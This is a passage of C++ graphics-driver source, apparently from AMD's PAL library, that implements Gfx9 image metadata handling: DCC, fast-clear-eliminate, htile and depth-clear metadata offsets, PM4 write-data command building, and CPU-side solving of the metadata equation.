return &m_addrSurfOutput[GetAspectIndex(pSubResInfo->subresId.aspect)];
}
// =====================================================================================================================
// Calculates a base_256b address for this image with the subresource's pipe-bank-xor OR'ed in.
uint32 Image::GetSubresource256BAddrSwizzled(
SubresId subresource
) const
{
const gpusize imageBaseAddr = GetAspectBaseAddr(subresource.aspect);
// "imageBaseAddr" already includes the pipe-bank-xor value, just whack off the low bits here.
return Get256BAddrLo(imageBaseAddr);
}
// =====================================================================================================================
// Calculates a base_256b address for this image with the subresource's pipe-bank-xor OR'ed in.
uint32 Image::GetSubresource256BAddrSwizzledHi(
SubresId subresource
) const
{
const gpusize imageBaseAddr = GetAspectBaseAddr(subresource.aspect);
// "imageBaseAddr" already includes the pipe-bank-xor value, just whack off the low bits here.
return Get256BAddrHi(imageBaseAddr);
}
// =====================================================================================================================
// Determines the GPU virtual address of the DCC state meta-data. Returns the GPU address of the meta-data, zero if this
// image doesn't have the DCC state meta-data.
gpusize Image::GetDccStateMetaDataAddr(
uint32 mipLevel,
uint32 slice
) const
{
PAL_ASSERT(mipLevel < m_createInfo.mipLevels);
// All the metadata for slices of a single mipmap level are contiguous region in memory.
// So we can use one WRITE_DATA packet to update multiple array slices' metadata.
const uint32 metaDataIndex = m_createInfo.arraySize * mipLevel + slice;
return (m_dccStateMetaDataOffset == 0)
? 0
: m_pParent->GetBoundGpuMemory().GpuVirtAddr() + m_dccStateMetaDataOffset +
(metaDataIndex * sizeof(MipDccStateMetaData));
}
// =====================================================================================================================
// Determines the offset of the DCC state meta-data. Returns the offset of the meta-data, zero if this
// image doesn't have the DCC state meta-data.
gpusize Image::GetDccStateMetaDataOffset(
uint32 mipLevel,
uint32 slice
) const
{
PAL_ASSERT(mipLevel < m_createInfo.mipLevels);
// All the metadata for slices of a single mipmap level are contiguous region in memory.
// So we can use one WRITE_DATA packet to update multiple array slices' metadata.
const uint32 metaDataIndex = m_createInfo.arraySize * mipLevel + slice;
return (m_dccStateMetaDataOffset == 0)
? 0
: m_dccStateMetaDataOffset + (metaDataIndex * sizeof(MipDccStateMetaData));
}
// =====================================================================================================================
// Initializes the GPU offset for this Image's DCC state metadata. It must include an array of Gfx9DccMipMetaData with
// one item for each mip level.
void Image::InitDccStateMetaData(
ImageMemoryLayout* pGpuMemLayout,
gpusize* pGpuMemSize)
{
m_dccStateMetaDataOffset = Pow2Align(*pGpuMemSize, PredicationAlign);
m_dccStateMetaDataSize = (m_createInfo.mipLevels * m_createInfo.arraySize * sizeof(MipDccStateMetaData));
*pGpuMemSize = (m_dccStateMetaDataOffset + m_dccStateMetaDataSize);
// Update the layout information against the DCC state metadata.
UpdateMetaDataHeaderLayout(pGpuMemLayout, m_dccStateMetaDataOffset, PredicationAlign);
}
// =====================================================================================================================
// Initializes the GPU offset for this Image's waTcCompatZRange metadata.
void Image::InitWaTcCompatZRangeMetaData(
ImageMemoryLayout* pGpuMemLayout,
gpusize* pGpuMemSize)
{
m_waTcCompatZRangeMetaDataOffset = Pow2Align(*pGpuMemSize, sizeof(uint32));
m_waTcCompatZRangeMetaDataSizePerMip = sizeof(uint32);
*pGpuMemSize = (m_waTcCompatZRangeMetaDataOffset +
(m_waTcCompatZRangeMetaDataSizePerMip * m_createInfo.mipLevels));
// Update the layout information against the waTcCompatZRange metadata.
UpdateMetaDataHeaderLayout(pGpuMemLayout, m_waTcCompatZRangeMetaDataOffset, sizeof(uint32));
}
// =====================================================================================================================
// Initializes the GPU offset for this Image's fast-clear-eliminate metadata. FCE metadata is one DWORD for each mip
// level of the image; if the corresponding DWORD for a miplevel is zero, then a fast-clear-eliminate operation will not
// be required.
void Image::InitFastClearEliminateMetaData(
ImageMemoryLayout* pGpuMemLayout,
gpusize* pGpuMemSize)
{
m_fastClearEliminateMetaDataOffset = Pow2Align(*pGpuMemSize, PredicationAlign);
m_fastClearEliminateMetaDataSize = (m_createInfo.mipLevels * sizeof(MipFceStateMetaData));
*pGpuMemSize = (m_fastClearEliminateMetaDataOffset + m_fastClearEliminateMetaDataSize);
// Update the layout information against the fast-clear eliminate metadata.
UpdateMetaDataHeaderLayout(pGpuMemLayout, m_fastClearEliminateMetaDataOffset, PredicationAlign);
// Initialize data structure for fast clear eliminate optimization. The GPU predicates fast clear eliminates
// when the clear color is TC compatible. So here, we try to not perform fast clear eliminate and save the
// CPU cycles required to set up the fast clear eliminate.
m_pNumSkippedFceCounter = m_device.GetGfxDevice()->AllocateFceRefCount();
}
// =====================================================================================================================
// Initializes the GPU offset of lookup table for Image's htile metadata. The htile lookup table is 4-byte-aligned,
// in which htile meta offset is stored for each pixel(coordinate/mip/arraySlice). All mip levels included in the table.
void Image::InitHtileLookupTable(
ImageMemoryLayout* pGpuMemLayout,
gpusize* pGpuOffset,
gpusize* pGpuMemAlignment)
{
// Metadata offset will be used as uint in shader
static constexpr gpusize HtileLookupTableAlignment = 4u;
*pGpuMemAlignment = Max(*pGpuMemAlignment, HtileLookupTableAlignment);
gpusize mipLevelOffset = Util::Pow2Align((*pGpuOffset), HtileLookupTableAlignment);
uint32 mipLevels = m_createInfo.mipLevels;
// Depth/stencil share same htile lookup table. We just require a valid asepct to get mipLevelExtent
// of sub resource
const auto& imageCreateInfo = Parent()->GetImageCreateInfo();
SubresId subresId = {};
subresId.aspect = ((m_gfxDevice.GetHwZFmt(imageCreateInfo.swizzledFormat.format) != Z_INVALID)
? ImageAspect::Depth
: ImageAspect::Stencil);
subresId.arraySlice = 0u;
while (mipLevels > 0)
{
const uint32 curMipLevel = m_createInfo.mipLevels - mipLevels;
subresId.mipLevel = curMipLevel;
uint32 mipLevelWidth = Parent()->SubresourceInfo(subresId)->extentTexels.width;
uint32 mipLevelHeight = Parent()->SubresourceInfo(subresId)->extentTexels.height;
const uint32 hTileWidth = Util::Pow2Align(mipLevelWidth, 8u) / 8u;
const uint32 hTileHeight = Util::Pow2Align(mipLevelHeight, 8u) / 8u;
m_metaDataLookupTableOffsets[curMipLevel] = mipLevelOffset;
m_metaDataLookupTableSizes[curMipLevel] = (hTileWidth * hTileHeight) * m_createInfo.arraySize * 4u;
mipLevelOffset += m_metaDataLookupTableSizes[curMipLevel];
--mipLevels;
}
*pGpuOffset = mipLevelOffset;
}
// =====================================================================================================================
// Builds PM4 commands into the command buffer which will update this Image's fast-clear metadata to reflect the most
// recent clear color. Returns the next unused DWORD in pCmdSpace.
uint32* Image::UpdateColorClearMetaData(
uint32 startMip,
uint32 numMips,
const uint32 packedColor[4],
Pm4Predicate predicate,
uint32* pCmdSpace
) const
{
// Verify that we have DCC data that's requierd for handling fast-clears on gfx9
PAL_ASSERT(HasDccData());
const CmdUtil& cmdUtil = m_gfxDevice.CmdUtil();
// Number of DWORD registers which represent the fast-clear color for a bound color target:
constexpr size_t MetaDataDwords = sizeof(Gfx9FastColorClearMetaData) / sizeof(uint32);
const gpusize gpuVirtAddr = FastClearMetaDataAddr(startMip);
PAL_ASSERT(gpuVirtAddr != 0);
// Issue a WRITE_DATA command to update the fast-clear metadata.
return pCmdSpace + cmdUtil.BuildWriteDataPeriodic(EngineTypeUniversal,
gpuVirtAddr,
MetaDataDwords,
numMips,
engine_sel__pfp_write_data__prefetch_parser,
dst_sel__pfp_write_data__memory,
wr_confirm__pfp_write_data__wait_for_write_confirmation,
packedColor,
predicate,
pCmdSpace);
}
// =====================================================================================================================
// Builds PM4 commands into the command buffer which will update this Image's DCC state metadata over the given mip
// range to reflect the given compression state. Returns the next unused DWORD in pCmdSpace.
void Image::UpdateDccStateMetaData(
Pal::CmdStream* pCmdStream,
const SubresRange& range,
bool isCompressed,
EngineType engineType,
Pm4Predicate predicate
) const
{
PAL_ASSERT(HasDccData());
const CmdUtil& cmdUtil = m_gfxDevice.CmdUtil();
MipDccStateMetaData metaData = { };
metaData.isCompressed = (isCompressed ? 1 : 0);
constexpr uint32 DwordsPerSlice = sizeof(metaData) / sizeof(uint32);
// We need to limit the length for the commands generated by BuildWriteDataPeriodic to fit the reserved limitation.
const uint32 maxSlicesPerPacket = (pCmdStream->ReserveLimit() - CmdUtil::WriteDataSizeDwords) / DwordsPerSlice;
const uint32 mipBegin = range.startSubres.mipLevel;
const uint32 mipEnd = range.startSubres.mipLevel + range.numMips;
const uint32 sliceBegin = range.startSubres.arraySlice;
const uint32 sliceEnd = range.startSubres.arraySlice + range.numSlices;
for (uint32 mipLevelIdx = mipBegin; mipLevelIdx < mipEnd; mipLevelIdx++)
{
for (uint32 sliceIdx = sliceBegin; sliceIdx < sliceEnd; sliceIdx += maxSlicesPerPacket)
{
uint32 periodsToWrite = (sliceIdx + maxSlicesPerPacket <= sliceEnd) ? maxSlicesPerPacket :
sliceEnd - sliceIdx;
const gpusize gpuVirtAddr = GetDccStateMetaDataAddr(mipLevelIdx, sliceIdx);
PAL_ASSERT(gpuVirtAddr != 0);
uint32* pCmdSpace = pCmdStream->ReserveCommands();
pCmdSpace += cmdUtil.BuildWriteDataPeriodic(engineType,
gpuVirtAddr,
DwordsPerSlice,
periodsToWrite,
engine_sel__pfp_write_data__prefetch_parser,
dst_sel__pfp_write_data__memory,
true,
reinterpret_cast<uint32*>(&metaData),
predicate,
pCmdSpace);
pCmdStream->CommitCommands(pCmdSpace);
}
}
}
// =====================================================================================================================
// Builds PM4 commands into the command buffer which will update this Image's fast-clear-eliminate metadata over the
// given mip range to reflect the given value. Returns the next unused DWORD in pCmdSpace.
uint32* Image::UpdateFastClearEliminateMetaData(
const GfxCmdBuffer* pCmdBuffer,
const SubresRange& range,
uint32 value,
Pm4Predicate predicate,
uint32* pCmdSpace
) const
{
const CmdUtil& cmdUtil = m_gfxDevice.CmdUtil();
// We need to write one DWORD per mip in the range. We can do this most efficiently with a single WRITE_DATA.
PAL_ASSERT(range.numMips <= MaxImageMipLevels);
const gpusize gpuVirtAddr = GetFastClearEliminateMetaDataAddr(range.startSubres.mipLevel);
PAL_ASSERT(gpuVirtAddr != 0);
MipFceStateMetaData metaData = { };
metaData.fceRequired = value;
pCmdSpace += cmdUtil.BuildWriteDataPeriodic(pCmdBuffer->GetEngineType(),
gpuVirtAddr,
(sizeof(metaData) / sizeof(uint32)),
range.numMips,
engine_sel__pfp_write_data__prefetch_parser,
dst_sel__pfp_write_data__memory,
true,
reinterpret_cast<uint32*>(&metaData),
predicate,
pCmdSpace);
return pCmdSpace;
}
// =====================================================================================================================
// Builds PM4 commands into the command buffer which will update this Image's waTcCompatZRange metadata to reflect the
// most recent depth fast clear value. Returns the next unused DWORD in pCmdSpace.
uint32* Image::UpdateWaTcCompatZRangeMetaData(
const SubresRange& range,
float depthValue,
Pm4Predicate predicate,
uint32* pCmdSpace
) const
{
const CmdUtil& cmdUtil = m_gfxDevice.CmdUtil();
// If the last fast clear value was 0.0f, the DB_Z_INFO.ZRANGE_PRECISION register field should be written to 0
// when a depth target is bound. The metadata is used as a COND_EXEC condition, so it needs to be set to true
// when the clear value is 0.0f, and false otherwise.
const uint32 metaData = (depthValue == 0.0f) ? UINT_MAX : 0;
// Base GPU virtual address of the Image's waTcCompatZRange metadata.
const gpusize gpuVirtAddr = GetWaTcCompatZRangeMetaDataAddr(range.startSubres.mipLevel);
// Write a single DWORD starting at the GPU address of waTcCompatZRange metadata.
constexpr size_t dwordsToCopy = 1;
return pCmdSpace + cmdUtil.BuildWriteDataPeriodic(EngineTypeUniversal,
gpuVirtAddr,
dwordsToCopy,
range.numMips,
engine_sel__pfp_write_data__prefetch_parser,
dst_sel__pfp_write_data__memory,
wr_confirm__pfp_write_data__wait_for_write_confirmation,
&metaData,
predicate,
pCmdSpace);
}
// =====================================================================================================================
// Determines the GPU virtual address of the fast-clear-eliminate meta-data. This metadata is used by a
// conditional-execute packet around the fast-clear-eliminate packets. Returns the GPU address of the
// fast-clear-eliminiate packet, zero if this image does not have the FCE meta-data.
gpusize Image::GetFastClearEliminateMetaDataAddr(
uint32 mipLevel
) const
{
PAL_ASSERT(mipLevel < m_createInfo.mipLevels);
return (m_fastClearEliminateMetaDataOffset == 0)
? 0
: m_pParent->GetBoundGpuMemory().GpuVirtAddr() + m_fastClearEliminateMetaDataOffset +
(mipLevel * sizeof(MipFceStateMetaData));
}
// =====================================================================================================================
// Determines the offset of the fast-clear-eliminate meta-data. This metadata is used by a
// conditional-execute packet around the fast-clear-eliminate packets. Returns the offset of the
// fast-clear-eliminiate packet, zero if this image does not have the FCE meta-data.
gpusize Image::GetFastClearEliminateMetaDataOffset(
uint32 mipLevel
) const
{
PAL_ASSERT(mipLevel < m_createInfo.mipLevels);
return (m_fastClearEliminateMetaDataOffset == 0)
? 0
: m_fastClearEliminateMetaDataOffset + (mipLevel * sizeof(MipFceStateMetaData));
}
//=====================================================================================================================
// Returns the GPU address of the meta-data. This function is not called if this image doesn't have waTcCompatZRange
// meta-data.
gpusize Image::GetWaTcCompatZRangeMetaDataAddr(
uint32 mipLevel
) const
{
return (Parent()->GetBoundGpuMemory().GpuVirtAddr() + m_waTcCompatZRangeMetaDataOffset +
(m_waTcCompatZRangeMetaDataSizePerMip * mipLevel));
}
// =====================================================================================================================
// Builds PM4 commands into the command buffer which will update this Image's meta-data to reflect the updated fast
// clear values. Returns the next unused DWORD in pCmdSpace.
uint32* Image::UpdateDepthClearMetaData(
const SubresRange& range,
uint32 writeMask,
float depthValue,
uint8 stencilValue,
Pm4Predicate predicate,
uint32* pCmdSpace
) const
{
PAL_ASSERT(HasHtileData());
PAL_ASSERT((range.startSubres.arraySlice == 0) && (range.numSlices == m_createInfo.arraySize));
Gfx9FastDepthClearMetaData clearData;
clearData.dbStencilClear.u32All = 0;
clearData.dbStencilClear.bits.CLEAR = stencilValue;
clearData.dbDepthClear.f32All = depthValue;
// Base GPU virtual address of the Image's fast-clear metadata.
gpusize gpuVirtAddr = FastClearMetaDataAddr(range.startSubres.mipLevel);
const uint32* pSrcData = nullptr;
size_t dwordsToCopy = 0;
const bool writeDepth = TestAnyFlagSet(writeMask, HtileAspectDepth);
const bool writeStencil = TestAnyFlagSet(writeMask, HtileAspectStencil);
if (writeStencil)
{
// Stencil-only or depth/stencil clear: start at the GPU address of the DB_STENCIL_CLEAR register value. Copy
// one DWORD for stencil-only and two DWORDs for depth/stencil.
gpuVirtAddr += offsetof(Gfx9FastDepthClearMetaData, dbStencilClear);
pSrcData = reinterpret_cast<uint32*>(&clearData.dbStencilClear);
dwordsToCopy = (writeDepth ? 2 : 1);
}
else if (writeDepth)
{
// Depth-only clear: write a single DWORD starting at the GPU address of the DB_DEPTH_CLEAR register value.
gpuVirtAddr += offsetof(Gfx9FastDepthClearMetaData, dbDepthClear);
pSrcData = reinterpret_cast<uint32*>(&clearData.dbDepthClear);
dwordsToCopy = 1;
}
else
{
PAL_ASSERT_ALWAYS();
}
PAL_ASSERT(gpuVirtAddr != 0);
const CmdUtil& cmdUtil = m_gfxDevice.CmdUtil();
// depth stencil meta data storage as the pair, n levels layout is following,
//
// S-stencil, D-depth.
// ___________________________________________
// | mipmap0 | mipmap1 | mipmap2 | ... | mipmapn |
// |________ |_________|_________|___|_________|
// | S | D | S | D | S | D | ... | S | D |
// |__________________________________________ |
// depth-only write or stencil-only wirte should respective skip S/D offset.
if (writeDepth && writeStencil)
{
// update depth-stencil meta data
PAL_ASSERT(dwordsToCopy == 2);
return pCmdSpace + cmdUtil.BuildWriteDataPeriodic(EngineTypeUniversal,
gpuVirtAddr,
dwordsToCopy,
range.numMips,
engine_sel__pfp_write_data__prefetch_parser,
dst_sel__pfp_write_data__memory,
wr_confirm__pfp_write_data__wait_for_write_confirmation,
pSrcData,
predicate,
pCmdSpace);
}
else
{
// update depth-only or stencil-only meta data
PAL_ASSERT(dwordsToCopy == 1);
size_t strideWriteData = sizeof(Gfx9FastDepthClearMetaData);
for (size_t levelOffset = 0; levelOffset < range.numMips; levelOffset++)
{
pCmdSpace += cmdUtil.BuildWriteData(EngineTypeUniversal,
gpuVirtAddr,
dwordsToCopy,
engine_sel__pfp_write_data__prefetch_parser,
dst_sel__pfp_write_data__memory,
wr_confirm__pfp_write_data__wait_for_write_confirmation,
pSrcData,
predicate,
pCmdSpace);
gpuVirtAddr += strideWriteData;
}
return pCmdSpace;
}
}
// =====================================================================================================================
// Determines if this texture-compatible color image supports fast clears regardless of the clear color. It is the
// callers responsibility to verify that this function is not called for depth images and that it is only called for
// texture-compatible images as well.
bool Image::ColorImageSupportsAllFastClears() const
{
const Gfx9PalSettings& settings = GetGfx9Settings(m_device);
bool allColorClearsSupported = false;
PAL_ASSERT (m_pParent->IsDepthStencil() == false);
if (m_createInfo.samples > 1)
{
allColorClearsSupported = TestAnyFlagSet(FastClearAllTcCompatColorSurfs,
FastClearAllTcCompatColorSurfsMsaa);
}
else
{
allColorClearsSupported = TestAnyFlagSet(FastClearAllTcCompatColorSurfs,
FastClearAllTcCompatColorSurfsNoAa);
}
return allColorClearsSupported;
}
// =====================================================================================================================
bool Image::HasFmaskData() const
{
// If this trips, that means that we only have either cMask or fMask which is invalid for GFX9.
PAL_ASSERT (((m_pCmask == nullptr) ^ (m_pFmask == nullptr)) == false);
return (m_pFmask != nullptr);
}
// =====================================================================================================================
// Determines if a resource's fmask is TC compatible/shader readable, allowing read access without an fmask expand.
bool Image::IsComprFmaskShaderReadable(
const SubresId& subresource
) const
{
const auto* pSettings = m_device.GetPublicSettings();
const SubResourceInfo*const pSubResInfo = Parent()->SubresourceInfo(subresource);
bool isComprFmaskShaderReadable = false;
if (m_pImageInfo->internalCreateInfo.flags.useSharedMetadata)
{
isComprFmaskShaderReadable = m_pImageInfo->internalCreateInfo.sharedMetadata.flags.shaderFetchableFmask;
}
// If this device doesn't allow any tex fetches of fmask meta data, then don't bother continuing
else if ((TestAnyFlagSet(pSettings->tcCompatibleMetaData, Pal::TexFetchMetaDataCapsFmask)) &&
// MSAA surfaces on GFX9 must have fMask and must have cMask data as well.
(m_createInfo.samples > 1))
{
// Either image is tc-compatible or if not it has no dcc and hence we can keep famsk surface
// in tccompatible state
const bool supportsMetaFetches =
((pSubResInfo->flags.supportMetaDataTexFetch == 1) ||
((pSubResInfo->flags.supportMetaDataTexFetch == 0) && (HasDccData() == false)));
// If this image isn't readable by a shader then no shader is going to be performing texture fetches from
// it... Msaa image with resolveSrc usage flag will go through shader based resolve if fixed function
// resolve is not preferred, the image will be readable by a shader.
const bool isShaderReadable =
(m_pParent->IsShaderReadable() ||
(m_pParent->IsResolveSrc() && (m_pParent->PreferCbResolve() == false)));
isComprFmaskShaderReadable = supportsMetaFetches &&
isShaderReadable &&
(
(m_pParent->IsShaderWritable() == false)
);
}
return isComprFmaskShaderReadable;
}
// =====================================================================================================================
// Determines if this swizzle supports direct texture fetches of its meta data or not
bool Image::SupportsMetaDataTextureFetch(
AddrSwizzleMode swizzleMode,
ChNumFormat format,
const SubresId& subResource
) const
{
const auto& settings = GetGfx9Settings(m_device);
bool texFetchSupported = false;
if (m_pImageInfo->internalCreateInfo.flags.useSharedMetadata)
{
texFetchSupported = m_pImageInfo->internalCreateInfo.sharedMetadata.flags.shaderFetchable;
}
else
{
// If this device doesn't allow any tex fetches of meta data, then don't bother continuing
if ((m_device.GetPublicSettings()->tcCompatibleMetaData != 0) &&
// If this image isn't readable by a shader then no shader is going to be performing texture fetches from
// it... Msaa image with resolveSrc usage flag will go through shader based resolve if fixed function
// resolve is not preferred, the image will be readable by a shader.
(m_pParent->IsShaderReadable() ||
(m_pParent->IsResolveSrc() && (m_pParent->PreferCbResolve() == false))) &&
// Meta-data isn't fetchable if the meta-data itself isn't addressable
CanMipSupportMetaData(subResource.mipLevel) &&
// Linear swizzle modes don't have meta-data to be fetched
(AddrMgr2::IsLinearSwizzleMode(swizzleMode) == false))
{
if (m_pParent->IsDepthStencil())
{
// Check if DB resource can use shader compatible compression
texFetchSupported = DepthImageSupportsMetaDataTextureFetch(format, subResource);
}
else
{
// Check if this color resource can use shader compatible compression
texFetchSupported = ColorImageSupportsMetaDataTextureFetch();
}
}
}
return texFetchSupported;
}
// =====================================================================================================================
// Determines if this color surface supports direct texture fetches of its cmask/fmask/dcc data or not. Note that this
// function is more a heurestic then actual fact, so it should be used with care.
bool Image::ColorImageSupportsMetaDataTextureFetch() const
{
const auto& settings = GetGfx9Settings(m_device);
bool texFetchAllowed = false; // Assume texture fetches won't be allowed
// Does this image have DCC memory? Note that we have yet to allocate DCC memory
// true param assumes resource can be made TC compat since this isn't known for sure at this time.
if (Gfx9Dcc::UseDccForImage((*this), true))
{
if ((m_createInfo.samples > 1) &&
// MSAA meta-data surfaces are only texture fetchable if allowed in the caps.
TestAnyFlagSet(m_device.GetPublicSettings()->tcCompatibleMetaData, TexFetchMetaDataCapsMsaaColor))
{
texFetchAllowed = true;
}
else if ((m_createInfo.samples == 1) &&
TestAnyFlagSet(m_device.GetPublicSettings()->tcCompatibleMetaData, TexFetchMetaDataCapsNoAaColor))
{
texFetchAllowed = true;
}
}
return texFetchAllowed;
}
// =====================================================================================================================
// Returns true if the format surface's hTile data can be directly fetched by the texture block. The z-specific aspect
// of the surface must be z-32.
bool Image::DepthMetaDataTexFetchIsZValid(
ChNumFormat format
) const
{
const auto& settings = GetGfx9Settings(m_device);
const ZFormat zHwFmt = m_gfxDevice.GetHwZFmt(format);
bool isZValid = false;
if (zHwFmt == Z_16)
{
isZValid = TestAnyFlagSet(m_device.GetPublicSettings()->tcCompatibleMetaData, TexFetchMetaDataCapsAllowZ16);
}
else if (zHwFmt == Z_32_FLOAT)
{
isZValid = true;
}
return isZValid;
}
// =====================================================================================================================
// Determines if this depth surface supports direct texture fetches of its htile data
bool Image::DepthImageSupportsMetaDataTextureFetch(
ChNumFormat format,
const SubresId& subResource
) const
{
const auto& settings = GetGfx9Settings(m_device);
bool isFmtLegal = true;
if (m_pParent->IsAspectValid(ImageAspect::Stencil) &&
(TestAnyFlagSet(m_device.GetPublicSettings()->tcCompatibleMetaData, TexFetchMetaDataCapsAllowStencil) == false))
{
// The settings disallows tex fetches of any compressed depth image that contains stencil
isFmtLegal = false;
}
if (isFmtLegal)
{
if (subResource.aspect == ImageAspect::Depth)
{
isFmtLegal = DepthMetaDataTexFetchIsZValid(format);
}
else if (subResource.aspect == ImageAspect::Stencil)
{
if (m_pParent->IsAspectValid(ImageAspect::Depth))
{
// Verify that the z-aspect of this image is compatible with the texture pipe and compression.
const SubresId zSubres = { ImageAspect::Depth, subResource.mipLevel, subResource.arraySlice };
isFmtLegal = DepthMetaDataTexFetchIsZValid(Parent()->SubresourceInfo(zSubres)->format.format);
}
}
}
// Assume that texture fetches won't work.
bool texFetchAllowed = false;
// Image must have hTile data for a meta-data texture fetch to make sense. This function is called before any
// hTile memory has been allocated, so we can't look to see if hTile memory actually exists, because it won't.
if (Gfx9Htile::UseHtileForImage(m_device, (*this)) && isFmtLegal)
{
if ((m_createInfo.samples > 1) &&
// MSAA meta-data surfaces are only texture fetchable if allowed in the caps.
TestAnyFlagSet(m_device.GetPublicSettings()->tcCompatibleMetaData, TexFetchMetaDataCapsMsaaDepth))
{
texFetchAllowed = true;
}
else if ((m_createInfo.samples == 1) &&
TestAnyFlagSet(m_device.GetPublicSettings()->tcCompatibleMetaData, TexFetchMetaDataCapsNoAaDepth))
{
texFetchAllowed = true;
}
}
return texFetchAllowed;
}
// =====================================================================================================================
// This function uses the CPU to process the meta-data equation for the specific mask-ram. This means it will do
// whatever operation is requested during command buffer create time, not during command buffer execution time. Which
// means that this routine is unsafe to call with anything other than really, really simple apps like MTF tests.
template<typename MetaDataType, typename AddrOutputType>
void CpuProcessEq(
const Image* pImage,
const Gfx9MaskRam* pMaskRam,
const SubresRange& clearRange,
const AddrOutputType& maskRamAddrOutput,
uint32 log2MetaBlkDepth,
uint32 numSamples,
MetaDataType clearValue,
MetaDataType clearMask)
{
const auto* pParent = pImage->Parent();
BoundGpuMemory& boundMem = const_cast<BoundGpuMemory&>(pParent->GetBoundGpuMemory());
void* pMem = nullptr;
if (boundMem.Map(&pMem) == Result::Success)
{
const auto& eq = pMaskRam->GetMetaEquation();
const auto& createInfo = pParent->GetImageCreateInfo();
const uint32 pipeXorMask = pMaskRam->CalcPipeXorMask(*pImage, clearRange.startSubres.aspect);
// This is a mask used to determine which byte within the MetaDataType will be updated. If
// MetaDataType is a byte-quantity, this will be zero.
const uint32 metaDataTypeByteMask = ((1 << Log2(sizeof(MetaDataType))) - 1) << 1;
// The compression ratio of image pixels into mask-ram blocks changes based on the mask-ram
// type and image info.
uint32 xInc = 0;
uint32 yInc = 0;
uint32 zInc = 0;
pMaskRam->GetXyzInc(*pImage, &xInc, &yInc, &zInc);
uint32 numSlices = createInfo.extent.depth;
uint32 firstSlice = 0;
if (createInfo.imageType != ImageType::Tex3d)
{
numSlices = clearRange.numSlices;
firstSlice = clearRange.startSubres.arraySlice;
}
eq.PrintEquation(pParent->GetDevice());
const uint32 log2MetaBlkWidth = Log2(maskRamAddrOutput.metaBlkWidth);
const uint32 log2MetaBlkHeight = Log2(maskRamAddrOutput.metaBlkHeight);
const uint32 metaBlkSize = maskRamAddrOutput.pitch * maskRamAddrOutput.height;
const uint32 sliceSize = metaBlkSize >> (log2MetaBlkWidth + log2MetaBlkHeight);
const uint32 firstEqBit = pMaskRam->GetFirstBit();
// Point pMem to the base of the mask ram memory... previously it was pointing at the base of the memory
// bound to this image.
MetaDataType* pData =
reinterpret_cast<MetaDataType*>(VoidPtrInc(pMem, static_cast<size_t>(pMaskRam->MemoryOffset())));
for (uint32 mipLevelIdx = 0; mipLevelIdx < clearRange.numMips; mipLevelIdx++)
{
const uint32 mipLevel = clearRange.startSubres.mipLevel + mipLevelIdx;
const SubresId baseSliceSubResId = { clearRange.startSubres.aspect, mipLevel, 0 };
const auto* pBaseSliceSubResInfo = pParent->SubresourceInfo(baseSliceSubResId);
const uint32 origMipLevelHeight = pBaseSliceSubResInfo->extentTexels.height;
const uint32 origMipLevelWidth = pBaseSliceSubResInfo->extentTexels.width;
const auto& maskRamMipInfo = pMaskRam->GetAddrMipInfo(mipLevel);
for (uint32 y = 0; y < origMipLevelHeight; y += yInc)
{
const uint32 yRelToMetaBlock = (maskRamMipInfo.startY + y) & (maskRamAddrOutput.metaBlkHeight - 1);
const uint32 metaY = (y + maskRamMipInfo.startY) >> log2MetaBlkHeight;
for (uint32 x = 0; x < origMipLevelWidth; x += xInc)
{
const uint32 xRelToMetaBlock = (maskRamMipInfo.startX + x) & (maskRamAddrOutput.metaBlkWidth - 1);
const uint32 metaX = (x + maskRamMipInfo.startX) >> log2MetaBlkWidth;
// For volume surfaces, "numSlices" is the full depth of the surface
// For 2D array's, "numSlices" is the number of slices that the client is requesting that we clear.
for (uint32 sliceIdx = 0; sliceIdx < numSlices; sliceIdx += zInc)
{
const uint32 absSlice = firstSlice + sliceIdx;
const uint32 metaZ = (absSlice + maskRamMipInfo.startZ) >> log2MetaBlkDepth;
const uint32 metaBlock = metaX +
metaY * (maskRamAddrOutput.pitch >> log2MetaBlkWidth) +
metaZ * sliceSize;
for (uint32 sample = 0; sample < numSamples; sample++)
{
uint32 metaOffsetInNibbles = eq.CpuSolve(xRelToMetaBlock,
yRelToMetaBlock,
absSlice,
sample,
metaBlock);
// Take care of any pipe/bank swizzling associated with this surface. The pipeXormask
// is in terms of bytes, so shift it up to get it in the correct position for a nibble
// address.
metaOffsetInNibbles ^= (pipeXorMask << 1);
// Check that the offset is still valid...
PAL_ASSERT (metaOffsetInNibbles < 2 * pMaskRam->TotalSize());
// Make sure all the bits that we think we can ignore are still zero.
PAL_ASSERT ((metaOffsetInNibbles & ((1 << firstEqBit) - 1)) == 0);
// Determine which byte within the "MetaDataType" that we need to access. If MetaDataType
// is a byte quantity, this will be zero.
const uint32 numBytesOver = (metaOffsetInNibbles & metaDataTypeByteMask) >> 1;
// Each nibble is four bits wide. Find the amount we need to shift the clear data
// to access the nibble within the MetaDataType that we are actually addressing. Also
// take into account the byte offset within MetaDataType.
const uint32 bitShiftAmount = ((metaOffsetInNibbles & 1) << 2) + (numBytesOver << 3);
// We need to get metaOffset back into the units of MetaDataType. Remember that we're
// shifting a nibble address here (i.e., two nibbles per byte).
const uint32 metaOffset = metaOffsetInNibbles >> Log2(2 * sizeof(MetaDataType));
const MetaDataType andValue = ~(clearMask << bitShiftAmount);
const MetaDataType orValue = ((clearValue & clearMask) << bitShiftAmount);
#if PAL_ENABLE_PRINTS_ASSERTS
const auto& settings = GetGfx9Settings(*pParent->GetDevice());
if (TestAnyFlagSet(settings.printMetaEquationInfo, Gfx9PrintMetaEquationInfoProcessing))
{
// "sizeof" returns bytes, the width of a printf hex field is specified in nibbles
const uint32 andOrPrintWidth = sizeof(MetaDataType) * 2;
PAL_DPINFO(
"(%3d, %3d, %2d), (%3d, %3d, %3d, %3d, %3d) = (meta[0x%04X] & 0x%0*X) | 0x%0*X\n",
x, y, mipLevel,
xRelToMetaBlock, yRelToMetaBlock, absSlice, sample, metaBlock,
metaOffset * sizeof(MetaDataType),
andOrPrintWidth, andValue,
andOrPrintWidth, orValue);
}
#endif // PAL_ENABLE_PRINTS_ASSERTS
pData[metaOffset] = (pData[metaOffset] & andValue) | orValue;
} // end loop through all the samples that actually affect this equation
} // end loop through all the slices associated with this mip level
} // end "width" loop through a mip level
} // end "height" loop through a mip level
} // end loop through all the mip levels to clear
boundMem.Unmap();
}
else
{
// Couldn't get a CPU pointer to our meta-data... The clear didn't happen, future behavior is now undefined.
PAL_ASSERT_ALWAYS();
} // end check for CPU access to DCC memory
}
// =====================================================================================================================
// This function uses the CPU to process the meta-data equation for cMask memory.
void Image::CpuProcessCmaskEq(
const SubresRange& clearRange,
uint8 clearValue // really only a nibble
) const
{
const auto* pCmask = GetCmask();
const auto& cMaskAddrOutput = pCmask->GetAddrOutput();
